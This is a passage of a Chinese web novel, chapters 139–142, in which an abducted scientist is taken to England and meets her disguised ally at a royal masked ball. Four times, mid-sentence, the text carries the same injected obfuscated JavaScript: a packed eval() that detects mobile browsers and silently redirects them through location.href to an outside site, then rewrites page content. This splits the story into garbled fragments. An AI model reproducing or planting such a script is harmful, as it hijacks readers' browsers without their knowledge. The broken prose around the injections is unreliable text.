“麦女士,我可不是什么绅士,”诺兰微微抬头,透过后视镜看向元之荞,冰蓝色的瞳孔不带任何温度,“所以你最好听话,否则我不介意用麻醉剂让你全程昏睡。不过麦女士你也知道,人体短时间内频繁使用麻醉这种药物,不仅会损害身体机能,还会损害大脑……”他目光中的威胁毫不掩饰,“若你真变得一无是处,我就只能把你送去别的实验室了。” 元之荞扯动嘴角,也呵笑一声,同样透过后视镜直视诺兰:“OK,要我不反抗也行,那你得告诉我去英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13348621|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国哪?” 诺兰挑眼,带着一些轻视与自负,像是料定告诉元之荞她也没办法:“切斯特郡。” 听到答案,元之荞立刻唤出萤光:“既然能修复身体,那你能帮我解决掉麻醉剂的药效吗?” 萤光团成一个圆润的光球,像是在认真计算,几秒后它变成了一行字:麻醉时效可缩短至五分钟。 元之荞轻抿下唇,五分钟有点久,看来只能掐时机使用了。 “麦女士在想什么呢?”诺兰警惕地瞧着元之荞,她的战绩太过显赫,脑袋也太过灵活,或许自己轻敌了,为保万无一失,还是让她昏迷着去英国比较好。 “在想你们抓我的原因,”元之荞露出一个假笑,“听说英国的实验室,也有不少我国的人?” “是啊,所以麦女士你不用担心孤独,”诺兰给副驾一个眼神,“到时候,我愿意为你配备最好的实验助手。” * 胡菲驱车赶到时,恰好看到元之荞被人抬上直升飞机,她的车不管不顾地往直升飞机冲去,而直升飞机上的人见状,顿时就对着车辆扫射,逼停了胡菲他们。 子弹打过车前玻璃,变成了一片白茫的蛛网,后座的白榆用身体护着定位显示仪,再抬身时,只见着绿点随着直升飞机远去,没过多久,就彻底在屏幕上消失。胡菲万分不甘地捶了一下方向盘,汽车发出长长的笛声,在空旷的场地嘹亮回响。 白榆咬紧了腮帮子,许久才吐出一口气:“小菲回去吧,我们得报告常委。” * 华常委把最新情况告诉钟以墨,钟以墨立马做了一个大胆的决定:“我现在就去英国。” “你知道之荞被带去哪了?”华睿眼中有些惊喜。 “不知道,”钟以墨收紧掌心,“但我本就是诺兰实验室的投资人,虽然现在处境不妙,但我有着克伦威尔的名头,他们暂时不敢动我。顺着诺兰这条线,一定能找到之荞。” “小墨,你可想好了?”华常委语重心长,“我们在英国没有用得上的同伴,无法助你,所以这次行动,等于就只有你一个人。” “想好了,”钟以墨安慰华常委,“而且也不止我一个人,我在英国这些年,好歹也有了一些势力,”他想起一件事,“华叔叔,把定位显示仪借我吧,也算多一道方法。” “好,”华常委拍拍钟以墨的肩膀,“那你一切小心。” 钟以墨回到爷爷奶奶家,立马开始收拾东西,贾祖惠看到有些奇怪:“以墨呐,你这是要出远门?” “是啊,奶奶,”钟以墨并未抬头,“要回英国一趟,暂时不知道什么时候回来。” “回去啥事啊?”贾祖惠有些担心,她扶着家具,慢悠悠走到了钟以墨门前。 钟以墨从衣柜里拿出那个黑色丝绒的盒子,取出红色手绳,仔细套进自己的左手手腕,系紧绳脚,就像第一次戴时那样。 他跨步走出房门,面色神情亦如当年那般。 “去救一个很重要的人。” 140. 第 140 章 自从登上前往英国的飞机后,诺兰便不再给元之荞用药,但在这之前,元之荞也想过假借麻醉偷枪逃跑,毕竟她遇到过一次绝佳的逃跑机会,可元之荞仔细想后,还是决定放弃了。 她在一开始装睡时,就听到了诺兰毫不避讳地说一些关键信息,而正是这些内容改变了元之荞的想法,让元之荞有了新的计划。 诺兰实验室不止研究信息科技,其中它的材料部门就与丑国的分粒子实验室有着深度合作,而这个分粒子实验室,存在两个想回国的国人科学家,一个是研究物理的邹士美,一个是研究化学的胡守勤。 这二人才华出众,学成之后丑国不愿意放人,便屡次阻拦,还强制性要求二人对丑国的培养进行回报,迫使两人签下为期五年的回报合约。 可五年过去,二人归国的态度依旧坚决,丑国看着他们的科研成果,自然是更不愿意放人了。类似的情况再次上演,就如五年前那般。这二人虽然有了经验,但他们无论用什么样的方法提出回国申请,都会遇到驳回和阻挠,严重的时候,他们还会恐吓和打压。 元之荞知道这事,还是天-8研制成功那天。 所以当元之荞听到诺兰说一月后他要去丑国参加学术交流峰会,也听到这个峰会的主办方之一,恰好就是分粒子实验室时。她立刻就有了想法,准备利用自己科研专家的身份去丑国,然后想办法接这二人回家。 这也是她放弃离开,选择“昏迷”上飞机的原因。 做出决定后,元之荞自然也知道背后的隐患,毕竟跟诺兰去英国肯定没好事,说不定还要在对方的胁迫下拿出电子干扰和无线电隐身的技术,可风险越大,背后的收益也会越大。除了援助这一目的外,元之荞还想像上次去苏国那时一样,在工厂或者实验室里知微见著,然后估摸出英国和丑国的真正实力,等脱身回国,也能给国家多一些准备。 * 一周后。 元之荞终于从英国安全局的调查中释放,但她没说出任何有用的信息,所以被英方以嫌疑人的身份强制拘于境内。 给一巴掌赏一甜枣,处罚完后,英方又谅解元之荞在异国他乡谋生不易,所以主动聘请元之荞担任科研教授,并愿意支付高额薪水。 听到这一裁决,元之荞简直要气笑了,虽然英方的反应在她的预想内,但她却没想过对方会如此直接。元之荞不是一个很能忍气吞声的人,所以干脆复刻对方,开始了样样的拒不配合,等英方派出说和的人时,元之荞才同样拿出“甜枣”。 “别说什么‘科学无国界’,我来这里又不是以一个科学家的身份,”元之荞双手抱臂,好整以暇地看着桌对面的男人,嘴角带着讥讽,“我是被你们诺兰实验室的最大负责人诺兰,绑来的,并且现在还是一个‘嫌疑人’的身份。” “塞西莉亚小姐,”男人微笑,力求放大自己身上亲和的一面,“关于这件事我们很抱歉,但……” “不必再说,”元之荞抬手,漠然地制止了对方,“你们的话我已经听了快两周了,来来去去、变着花样,不过都是一个意思,一个诉求。” 听到元之荞的果断拒绝,男人还以为今天会无功而返,他准备按方案抛出更大的福利与更多的金钱,预备让元之荞好好考虑一下,就见元之荞再度开口:“但我这几天仔细想了一下,合作……也不是没有可能。” 峰回路转,男人心中陡然惊喜,但他面上还维持着情绪不变,笑道:“那塞西莉亚小姐有什么想法?若是合适,我能尽量为您争取。” 元之荞也笑了,她放下手,轻靠于桌沿:“既是担任教授,要参与或主导实验,那凭我的能力,我要进入最好的实验室。” “这没问题,”男人立刻放了心,还以为是什么难办的要求,没想到只是这个,男人脸上笑容明显轻快一些,说道,“诺兰实验室就是我国目前研究信息技术最好的实验室……” 男人话未说完,又被元之荞打断了,她重新环起双臂,后背依靠高椅,做出一个拒绝交流的姿势。 “塞西莉亚小姐是有什么不满吗?”男人赔上笑。 “诺兰,”元之荞毫不隐藏她与诺兰之间的芥蒂,“光是听‘诺兰’二字,我就不想进这个实验室,”她不满地摊手,“而且你们以为我只会无线电?你们到底有没有认真调查过我的履历?” 不等男人解释,元之荞咄咄逼人,并显现出科研学者身上独有的执拗特质:“单从信息研究上说,除去无线电,还有光信号、电信号、声信号……这些你们一点不研究吗?凭什么断定诺兰实验室就是最好的?且各个类目的学科之间拥有一定共性,就算垂直研究一个类目,也并不意味着就不接触其他类目,例如材料分子学……” 元之荞说的已经触及到了男人的知识盲区,男人一句话也说不出口,只能边听边记,力求不遗漏元之荞任何的话。等元之荞说完,男人严肃地表示自己会将元之荞的话告知上级,也表达自己支持元之荞去英国各个前沿的实验室亲自校验一番,毕竟他觉得元之荞说的话非常有道理。 得到这个回复,元之荞才稍微满意地笑了。 甜枣给得非常及时,英方因此事开了两天的会,会上有人反对,他们认为元之荞这样做只是为了窃取英方实验室的秘密资料;有人持中立态度,也认为对方夸大了元之荞的能力,毕竟她只有一人,而自己这方不仅人多还拥有武器,真出现意外,他们完全能把元之荞送去见上帝;而剩下的人则认为这是一个双赢的做法,如此既顺了元之荞的意,将人留下来,也能利用各个实验室测试元之荞的底,看她究竟知道多少,究竟有多大能力,进而衡量她真正的实力与价值。 两天后,英方同意了元之荞去参观各个实验室,并让她决定自己留在哪。 就在元之荞摩拳擦掌,前往第一个实验室的路上时,钟以墨终于从安全局出来了。当初运设备之事他做得隐秘,没让安全局查到证据,所以就算安全局怀疑,也只能疑罪从无,放了钟以墨。 钟以墨担心安全局会继续盯着自己,所以在离开安全局前又坑了诺兰一把,没办法,死道友不死贫道。 他一得到自由,就立马回庄园拿定位显示仪,然后开车去找之前委托的侦探,想要询问现在情况。 行到一半,放在副驾座位上显示器突然亮了,钟以墨只感觉眼角余光闪了一下,等他下意识地瞄过去,就一脚刹车,忽地将车停在了路侧。 身后的车喇叭滴滴作响,旁边的高架马车铃声晃荡,而马身上的驾车人微微弯下身,高声询问钟以墨:“先生,是出什么事了吗?” 钟以墨后知后觉,这才发现自己停车的行为不妥,于是急忙道歉,听着身边焦躁的喇叭,把车快速开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388858|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一旁,腾出位置。 他看着位于屏幕边缘的小绿点,觉得自己的心跳频率似乎也变得与它一般缓慢,等他确定小绿点的方位,便再次发动车,径直往那边开了过去。 定位的绿点一动不动,一直停在女王巷的一处公寓上。 钟以墨还未靠近就感受到了监视,他不敢贸然前进,简略确认具体地址后就马上离开,假装自己只是路过。等离开女王巷,钟以墨又去找了一个侦探,让侦探调查此女王巷的公寓。 * 三天后,钟以墨等来了两位侦探寄给他的信。 顺着诺兰这条线找元之荞的,只知元之荞从安全局离开后,英方科学部门就频繁上门,明显是想将元之荞纳入麾下,但元之荞似乎并不同意,而前段时间元之荞却跟着他们离开了切斯特郡,不知道去了哪里。 后一个查女王巷的,只知道里面住了一个黑头发黑眼睛的东方姑娘,年纪不大,面容却沉着冷静,是个冷美人。这个姑娘被监管看视,似乎是安全局认定的嫌疑人。 两个信息对上了,钟以墨确定元之荞就住在这里,且以周围都未撤离的士兵来看,她迟早还会回来。钟以墨悬着的心松了半口气,找到人,也算是有了目标,接下来,就是想办法联系元之荞,然后将人安全带回国。 元之荞压根不知道半路杀出了一个钟以墨,毕竟她自己的计划也才刚开始。 在参观时,元之荞才知道英方的实验室有多么厉害,她与别的科学家、专家聊天时,发现他们很多想法或者实验,虽然现在来看有些摸不着头脑、不实际,甚至有的还偏离了方向,但其实它们已经具备了后来的雏形,再过个几年或者十几年,这些科学家、专家们的想法或者实验,就能实现和成功。 元之荞忽然很钦佩人类的智慧,也突然有了种见证历史的感觉,就像是亲眼见证巨人是如何成长起来的。 因为这样的感触,她不知不觉多聊了一些,也透露了一点后续的发展。 元之荞说的这些话宛若火星,瞬间点燃了对话的科学家和专家们的灵感,他们对元之荞的认知瞬间改变,好感和佩服也飙升到了一个极高的高度,不仅把元之荞看作知己同僚,还争着邀请元之荞加入他们的实验,入驻他们的实验室。 在一旁监视元之荞的几个警员,看到这种情况后都及时给上级汇报。而科学局的人看到,再次将元之荞的价值往上调高了一个等级。 “这个来自东方的神秘乌麦,我们必须要把她留在英国,如果有一天她要离开,那只能是以尸体的形式。” “放心吧,把他们这样的科学家留在英国,我们不是已经成功过许多次了吗?有的是经验可以套用。” “虽然塞西莉亚女士看起来同意,但我感觉她的内心仍是想找办法离开,不过是伪装得很好而已,就像丑国的邹和胡。” “哼,你完全是多虑,她是个女人,又不是邹和胡那样拥有坚定意志的男人,”说这话的男人油腻一笑,洋洋自得地发表评论,“女人嘛,最容易被情爱捆缚手脚,只要让她爱上我们英国的男人,在这结婚生子,她自然再也不会想着回去了。” “好主意,刚好下周皇室要举办舞会,我们科学局也被邀请了,到时候就带着塞西莉亚女士前往。” “是时候让懵懂的女士,好好了解我们西方男人的魅力了。” 141. 第 141 章 “假面舞会?”元之荞汤喝的动作一顿,抬头看向科学局的负责人保罗,直接拒接道,“不去。” “塞西莉亚小姐,本次舞会是王室举办的,只有贵重贵族以及被邀请的人才能……” “抱歉,我没兴趣,”元之荞放下汤匙,“先生还有什么事吗?没事的话我吃饱了,你慢用。” 保罗沉默地看着元之荞起身,拍了一下手掌,门外听声,立刻走进了两个看管元之荞的警员,以及一个陌生的女人。 女人模样成熟,身材丰腴,应在三十岁左右,她脸上有不少雀斑,棕色的卷发盘起,看起来很干练。女人自我介绍:“尊敬的塞西莉亚小姐,我叫凯瑟琳,是您的临时管家,从现在起,我将负责您的饮食起居,也会帮助您了解舞会礼仪,让您能安心地去参加皇家宴会。” 门完全被这三人堵死了,元之荞知道,那所谓的假面舞会,她是非参加不可了。 “OK,”元之荞拍拍衣角,转身往另一个方向走去,“凯瑟琳管家,跟我过来吧。” …… “塞西莉亚小姐,我说的这些,您明白了吗?”凯瑟琳面带微笑地看着元之荞。 元之荞听完凯瑟琳的讲解,点了点头,她撑住额角,抬眸望向对方,像是在观察凯瑟琳的神态。男性警员无法24小时跟在她身边,所以女性管家来这里只有一个目的,元之荞眉尾轻挑:“凯瑟琳女士,你来到我身边,主要是为了监视我吧?” 凯瑟琳的笑容完美无瑕,听见这话也纤毫未变。 元之荞跟着笑:“是安全局,还是科学局?” “他们想要的只是技术,应巴不得我时时刻刻沉浸在实验室里才对,为什么突然要我参加这些没用的社交?”见凯瑟琳继续不回话,元之荞又换了一个问题继续试探。 “小姐,舞会多有意思,怎是没用的社交呢?”凯瑟琳终于开口了,她走到一旁,主动把送过来的盒子打开,展示里面的衣裙给元之荞看,“假面舞会是一年中最大舞会之一,在这样的宴会,您可以穿如此美丽的礼裙,可以见到不少青年才俊、王子贵族,还能遇上一段美妙的爱情。” 元之荞推开摆到面前的衣裙,兴致缺缺。 凯瑟琳:“这可是大英帝国所有适婚少女们最期待的舞会了。” 元之荞嘴角一扯,知道了,原来是相亲局,她忍不住瞟看门外的餐厅,眸中带着嘲讽。愚蠢的洋男人,竟以为用男人就能让自己心甘情愿地留在这里,还真是眼界浅显,把女人当成了爱情奴隶、男人的附庸。 “塞西莉亚小姐?”凯瑟琳看元之荞神情不悦,主动出声询问。 “我对男女情爱不感兴趣,”元之荞转眼看向凯瑟琳,“若我仍不愿去,你们会怎样?” 凯瑟琳把衣裙小心放下:“小姐,您不憧憬这些,大概是还未到年纪,不过您要是这次不去,那还有下次、下下次,直到您愿意为止……既然迟早都要赴宴,为何要放弃这次最盛大、最奢华的宴会呢?” 凯瑟琳是寡妇,她与元之荞不一样,她争取到监视元之荞的身份,就是抱着通过元之荞的途径联系到那些大人物,然后攀上姻缘的想法。若元之荞能在假面舞会上得到大家族的青睐,那她作为管家,自然也能得到一定资源,得到以前想也不敢想的人脉和机会。 元之荞的指尖轻敲梳妆台,对上凯瑟琳殷殷期盼的眼。她来这是有计划的,丑国交流峰就在两周后,她没时间一一应对这些无聊的宴会。 “好啊,那就去呗。” 三天后。 元之荞选了一套纯黑的抹胸晚礼裙,配黑色的鸵鸟毛面具,只在末端染上金色点缀,宛若孔雀尾。 王室庄园极大,不见边际的草坪上坐落着三排小城堡,士兵们已经在草坪上搭建好了场地,不少贵族正在此处笑语闲聊。 宴会从傍晚五点开始,一直持续到晚上十一、二点,期间共三个场次,每一个场都会提供食物酒水。 首场位于草坪,主要为王室发言以及宾客交流;第二场位于城堡,主要为晚宴;第三场不拘场地,为本场宴会的重点——假面舞会。 元之荞并不打算交友闲谈,但得知三个场次提供的食物都不同后,她立刻决定找个角落吃吃喝喝,毕竟来英后,元之荞就一直没吃到合胃口的饭食,想来今天种类多,怎么也能找到一两样喜欢的。 “小姐,塞西莉亚小姐!”跟在元之荞身后的凯瑟琳小声呼喊,语气急切,像要阻止元之荞继续去拿盘子,“小姐,刚来宴会的淑女可不能这样吃,太粗鲁了!” 元之荞充耳不闻,左手端上一份覆盆子蛋白酥,右手拿起一杯果汁,高兴地往就餐区走去:“没关系的凯瑟琳,过不了多久夜色便会降临了,到时候我一身黑色装束,没人会注意。” “哎呀小姐,可现在的天还是亮着的呢……” 元之荞大方地拿着甜品走,凯瑟琳焦灼地在后面劝,二人奇怪的行为不引起注意都难,且因为元之荞有别于他人的外貌,更是吸引了周围人的目光。一些贵族少女拿着羽扇掩唇,隐晦而又好奇地打量元之荞,绅士们则纷纷侧目,直白地注视着元之荞。 “那位小姐是谁?” “我看见了,她是跟着科学院来的,而科学院只邀请了教授级别以上的人,所以那位女士应该也是一位教授。” “科学院什么时候有了女性教授?而且还是如此年轻的一位女性?呵,我看是哪位教授的情妇吧?你看,她竟然如此不知规矩,一点也不知道女性应该少食且保持优雅……” “真是有趣,姐姐你看,她去拿乳脂松糕了,我也想吃……姐姐,她模样稚嫩,你说她成年了吗?会不会比我还小?” “那位是她的母亲吗?长得一点也不像,她是从哪来的呀?会不会和克伦威尔伯爵的孙子一样,也是一位混血儿?” …… “塞西莉亚小姐,您别再吃了,再吃这礼服就不好看了。”凯瑟琳用力按下元之荞的手,心里简直急得要冒火。 “没事的,”元之荞用纸巾擦拭嘴角,浑然不顾身边人投掷而来的目光,她面上带笑,宽慰凯瑟琳,“实在不行,待会我就戴上面具,吃胖了也没人认出我是谁,不丢脸。” 这是丢脸的事吗! 凯瑟琳烦躁地短促一气:“您知道今天有谁会来吗?克伦威尔家族的利亚姆少爷、布鲁克家族的麦肯少爷……”凯瑟琳恨铁不成钢,觉得元之荞简直是在浪费机会,情绪中的愤慨也不自觉地带了出来,“这些都是个顶个的香饽饽,您不知道今天有多少贵族少女盯着他们,小姐您要是吃得肚皮圆凸,别说是和那些贵族少女们比了,就连绅士们对您的印象也会不好的。” 元之荞原本听得漫不经心,但突然冒出一个熟悉的人名,她不住怔愣一刹,微微收紧了手指。 钟以墨?他回英国了? 凯瑟琳见元之荞好像听进去了些许,刚想趁热打铁,把自己知道的都展开细说,就听远处传来了一阵女士的欢呼。 “克伦威尔·利亚姆?他没和伯爵一起去丑国?” “是小克伦威尔先生,快,女儿,我带你去打招呼。” “我表哥利亚姆来了,格蕾丝你跟我过去,我介绍你俩认识……你可要抓紧他,毕竟我表哥可是全英国少有的好男人。” 元之荞和凯瑟琳追着声音远望而去,可花团锦簇,她们完全看不到少女们围拥之人究竟是谁,只能依稀听见她们呼喊笑闹的名字。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422314|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是克伦威尔少爷来了,”粗略了解情况后的凯瑟琳回头,再次看向元之荞,然而等她注意到元之荞的发色与长相后,突然就扬起了笑容,“塞西莉亚小姐,克伦威尔少爷与您一样来自东方,说不定你们会有共同话题呢。” 元之荞的眉眼仍注视着远方,那人模样迷糊,穿一套黑色的燕尾西装,微卷的头发、挺拔的身形,分明与钟以墨一模一样。 她看到他从少女群中走出,她看到他与少女们说话。 她听不见他说了什么,她看不见他具体神色,但不知为何,她却觉得他此刻是表情是笑着的,是温柔的,就像他看自己时的目光一样。 “他以前就是这样吗?”她低声喃喃。 “什么?”凯瑟琳顺着元之荞的视线看去,“您问的是克伦威尔少爷吗?”凯瑟琳面上的笑容变得真切了些,同样看着钟以墨从远处走来,“是啊,克伦威尔少爷向来如此,他英俊又拥有财富,待人宽和又绅士,除却身份比不上其他贵族子弟,简直是女孩们的理想丈夫,所以无论克伦威尔少爷走到哪,都像现在这样受到女孩们欢迎。” 元之荞移开眼,看向面前空荡的餐盘,突然觉得自己没了食欲。 凯瑟琳全然不察,轻声叹一口气,继续道:“就是克伦威尔少爷不常参加宴会,否则,他去年就该定下未婚妻了,不过现在也不晚,”凯瑟琳高兴地回头,还想提点元之荞,让元之荞抓紧机会,“塞西莉亚小姐……”凯瑟琳雀跃的语气一下变得有些迟疑起来,“您认识克伦威尔少爷?” “几面之缘,”元之荞快速调整好状态,原本以为自己会不在意,没想到实际操作起来却不像预想中那般顺畅,元之荞看向走近的钟以墨,他眼神张望,似在找寻什么人,元之荞忍不住语带调侃,“身边这么多女孩却一个也不留意,女孩们也不着恼他的行为,看来他对付姑娘,很有一套啊。” 凯瑟琳捉到元之荞语气中的特殊,不知是元之荞的话语想到了自己,还是见元之荞年纪尚轻,存了怜惜和提点之意,于是轻轻握上元之荞的手背,缓声道:“小姐,男人最会欺骗女人,所以无论是看起来多好的男人,都要在心里留个眼。” 元之荞看着凯瑟琳,不知道对方为何会对自己突然说这些,而凯瑟琳看着元之荞的疑惑的眼神,以为元之荞不明白自己所说,于是仔细解释:“绅士们拿捏淑女,最喜欢用欲擒故纵的方式。” “你们第一次见面,他夸你、赞你,让你以为自己遇上了完美爱人,谁知几次见面后,他又对你装作不熟。你的心跟着他七上八下,却越来越猜不透他心中所想。” 凯瑟琳双眼望向虚空,仿佛忆起过去:“等你恼了、怒了,想要放弃了,他又过来勾你,给你写信、给你送礼,说自己那样对你,不过是太过珍视你,生怕没名没分的自己耽误你接触其他绅士。而这段时间过去,他想清楚了,你就是他的唯一,他不会在人群中再刻意疏远你。” 凯瑟琳脸上逐渐露出悲伤的表情,元之荞猜到这可能是她的自身经历,虽然参考性不大,但元之荞还是忍住了,没打断对方。 “然后你就会发现自己被骗了,他从来只是说得好听而已,”凯瑟琳回眸,做出定论,语速也渐渐加快,“男人的甜言蜜语,可以对每一个女人说,所以小姐一定要长心眼,千万不要被男人欺骗了。” 元之荞点头,还未敷衍回应几句,身侧就响起了钟以墨的声音。 “这位美丽女士是谁?我怎从未见过?” 元之荞慢慢转身,对上那双熟悉的清褐色眸子,他果然如自己想象的那样,是笑着的、是温柔的。她看着装作从不认识自己的钟以墨,嘴角轻扯。 还以为是凯瑟琳的经验之谈,没想到这么快能用上。 142. 第 142 章 “克伦威尔先生?”凯瑟琳惊喜地站起身,对钟以墨行了一礼,“这位是来自东方的元小姐,也可以称她塞西莉亚……” 元之荞听着凯瑟琳对自己的介绍,同样起身,对着钟以墨行了一礼,而钟以墨看到,也彬彬回礼。 凯瑟琳说话时,元之荞就站在钟以墨对面,她带着好整以暇的目光看着他,并未言语。而钟以墨自然意识到了元之荞看戏似的目光,心中苦闷,面上却不得不继续装作不认识她的模样。 元之荞与他都是安全局重点观察的对象,且安全局已经知道了乌麦就是元之荞,要是这时暴露两人相识,很难不让安全局再度怀疑。为了元之荞的安全,也为了自身的安危,在这公共场合,钟以墨只能用这种方式与元之荞联系。 “小姐,您不是说喜欢蔓越莓司康吗?”凯瑟琳准备给二人制造相处空间,于是找了个借口离开,“我去给您拿些过来。” 凯瑟琳说完,立马提着裙摆就走,只留下元之荞和钟以墨两人眼对着眼,相顾无言。 钟以墨想说什么,但却不知从何开口,而元之荞的余光看到了科学局的人,他们装作闲谈的模样,实际目光却留意着每一个和她接触过的人。元之荞知道自己被时刻监视,她也不想现在就引起科学局和安全局的警觉,于是顺了钟以墨的谎话:“克伦威尔先生,初次见面,最近过得怎么样?” 听到元之荞陌生的语气,虽然知道她是故意,但钟以墨心里还是泛起了一丝涩感。 “不怎么样,回来需要漂洋过海、奔波劳累,所以甚是辛苦,”钟以墨如实回答,他眼中带着关切,“你呢,塞西莉亚小姐?” 元之荞微微偏头,避过了钟以墨的视线:“还行,只是不太习惯做一名淑女。” “你已经是一名淑女了。”钟以墨夸赞道。 元之荞看着他,虽然不愿对号入座,也相信钟以墨的假装陌生是出自别的原因,最有可能就是天-8的事,但元之荞还是想起了凯瑟琳的话。 [男人刚开始见你,多是花言巧语……夸你、赞你,把你说得天上有地下无,让你以为自己遇上了真心人] 元之荞敛眸,放下手中餐盘,想要打断自己的思绪。 这时钟以墨飞速瞟了眼周围,见无人注意,便抓紧时机,稍稍放低声音,换成国语快速问道:“你想回去吗?” 元之荞眼底的惊讶一闪而逝,她抬眼,神情自然得宛若在说今天天气真好:“你想我回去?” “我……”钟以墨刚开口,左侧方他的表妹就带着自己最好的朋友过来了。 “利亚姆哥哥,这位是格蕾丝,瓦雷公爵的小女儿,”莉莉的声音极大,牵着身姿娇丽的闺蜜提裙过来,介绍说,“她与你一样,都对医药行业感兴趣,上次外祖还说……” 钟以墨露出微笑,礼节性地回复:“你好,格蕾丝小姐……” 元之荞站在一旁,看着他们相互介绍,看着他们客套社交,看着钟以墨熟练而又简短地截断话题,然后看着姑娘们用雀跃而又害羞的情态,一个接一个地抛出话题。 元之荞忽然对刚才的问题没了兴趣,她提着裙角,转身离去。 钟以墨一直留心着元之荞,见到她走,当即对莉莉和格蕾丝做了一个制止的动作:“抱歉,以后再说。”钟以墨抬步,追着元之荞走了过去。 “诶,利亚姆表哥!”没拦住人,莉莉有些后悔。 而格蕾丝看着元之荞的背影,心里有些介意:“莉莉,那个黑发的女孩是谁呀?” “不知道,”莉莉也看向元之荞,撅了撅嘴,“可能是表哥在他爸爸那边的朋友吧,走吧格蕾丝,表哥去餐点区了,我们也跟着去吧。” 格蕾丝觉得一直跟随不太好,可心里又想与钟以墨多聊一会,便矜持道:“晚些吧,毕竟淑女可不能在晚宴前吃太多东西。” 元之荞径直走向甜点区,她本就偏爱甜食,可这里的甜食过于甜腻,她看了好一会,才挑中一个看起来不会太甜的布蕾。 “想要一份杏仁蛋挞吗?你应该会喜欢。” 元之荞听到声音回身,看钟以墨拿着瓷盘,那小巧的瓷盘中,恰好就是一只杏仁蛋挞,模样也的确会是她喜欢的。元之荞看了看瓷盘,又看向钟以墨的脸。钟以墨笑着,将瓷盘往元之荞的方向递了递。元之荞没有接受,反问一句:“克伦威尔先生喜欢什么?果汁?” 她也笑着,只是她的笑客气多了,元之荞端起手边一杯西柚柠檬汁,往钟以墨的方向递了递。 在西提咖啡的时候,她听过他说喜欢甜,而这类果汁她也尝过,味道很酸。 元之荞:“很清爽的果汁,你应该会喜欢。” “谢谢你,塞西莉亚小姐。”钟以墨直接接过了果汁,虽然他不喜酸,但他会一直拿在手上。 “克伦威尔先生不觉得我的英文名很熟悉吗?”一拳打在棉花上,元之荞干脆用上了更直白的话语,想要试探钟以墨。 “小姐说‘塞西莉亚’?”钟以墨把杏仁蛋挞放到一旁,摇红酒液那般匀了匀果汁,“这个名字很特别、很熟悉,但并不唯一,”钟以墨装作自己不知她乌麦身份、不知她假扮史密斯夫人,只将她看作借用了史密斯夫人的名字,“因为我也见过几位女士叫这个名字。” 元之荞点点头,她看向钟以墨的脸,想从他细微的表情判断这些话语是真是假。 元之荞刚要开口,科学院的人就过来了:“克伦威尔先生、塞西莉亚小姐,你们在说什么呢?” “我在问这位美丽的小姐来自于哪,”钟以墨率先回话,见保罗端着红酒,便主动与保罗碰杯,然后打听消息,“保罗先生,我听说塞西莉亚小姐就职于科学院?” 保罗打着哈哈,试图把这个话题滑过去,可钟以墨总有办法把话题绕回来。 元之荞看着他,像是才知道他在外人面前如此能言善辩。 保罗被钟以墨说得心烦,于是想让元之荞开口回答,但元之荞和钟以墨一样,都想从科学院那边套出更多消息,所以话题一抛过来,元之荞就马上踢了回去。你们带我来英国的,我什么情况你们还不知晓吗?不知晓又怎么会不远万里将我拐来?还有这个宴会,我本来也无意参加,如今能出现在此吃吃喝喝,已经够给你们面子了,竟还奢望我替你们社交?做梦都不会梦到这个场景好吧。 科学院被这两人聊得心累,之后插进话题的安全局也自讨没趣,最终是在近处观察的贵族少女们有些焦急,等两院的人离开,她们便立刻走了过来。 元之荞观察钟以墨,并结合钟以墨与两院人的说话内容,心中隐隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434184|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他有了怀疑,刚想开口,莉莉与格蕾丝就先赶到了。 “塞西莉亚,我们换个地方……”钟以墨当然也看到了五步外的少女们,他还有重要的事没与元之荞说,刚想带元之荞走,就被元之荞回绝了。 “先生,恐怕你没有那么多时间,”元之荞扫了一眼四周,发现望着他们的人不在少数,且她也需要一点时间分析现有线索,“若我继续占用你的时间,估计会令人不快了,”她放下果汁,颔了颔首,“而且先生问的事,我的回答是‘不想’,先生慢用。” 钟以墨再次望向元之荞离去的背影,而他的身边也再次簇拥上欢快的少女。 